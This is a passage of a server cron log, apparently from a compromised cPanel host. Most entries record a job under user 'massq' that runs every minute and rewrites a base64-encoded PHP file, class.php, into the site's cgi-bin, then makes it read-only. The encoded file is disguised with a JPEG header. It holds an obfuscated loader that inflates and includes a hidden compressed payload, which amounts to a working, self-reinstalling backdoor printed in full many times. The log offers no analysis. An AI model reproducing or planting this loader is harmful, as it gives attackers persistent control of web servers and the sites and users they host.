x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:01:01 server CROND[12046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:01:01 server CROND[12047]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 10:01:01 server run-parts(/etc/cron.hourly)[12047]: starting 0anacron
Apr  6 10:01:01 server run-parts(/etc/cron.hourly)[12059]: finished 0anacron
Apr  6 10:02:01 server CROND[12135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:03:01 server CROND[12201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:04:01 server CROND[12272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:05:01 server CROND[12338]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 10:05:01 server CROND[12340]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 10:05:01 server CROND[12339]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 10:05:01 server CROND[12342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:06:01 server CROND[12580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:07:01 server CROND[12665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:08:01 server CROND[12734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:09:01 server CROND[12804]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 10:09:01 server CROND[12805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:10:01 server CROND[12889]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 10:10:01 server CROND[12891]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 10:10:01 server CROND[12893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:10:01 server CROND[12892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 10:11:01 server CROND[13116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:12:01 server CROND[13224]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 10:12:01 server CROND[13225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:13:01 server CROND[13300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:14:01 server CROND[13386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 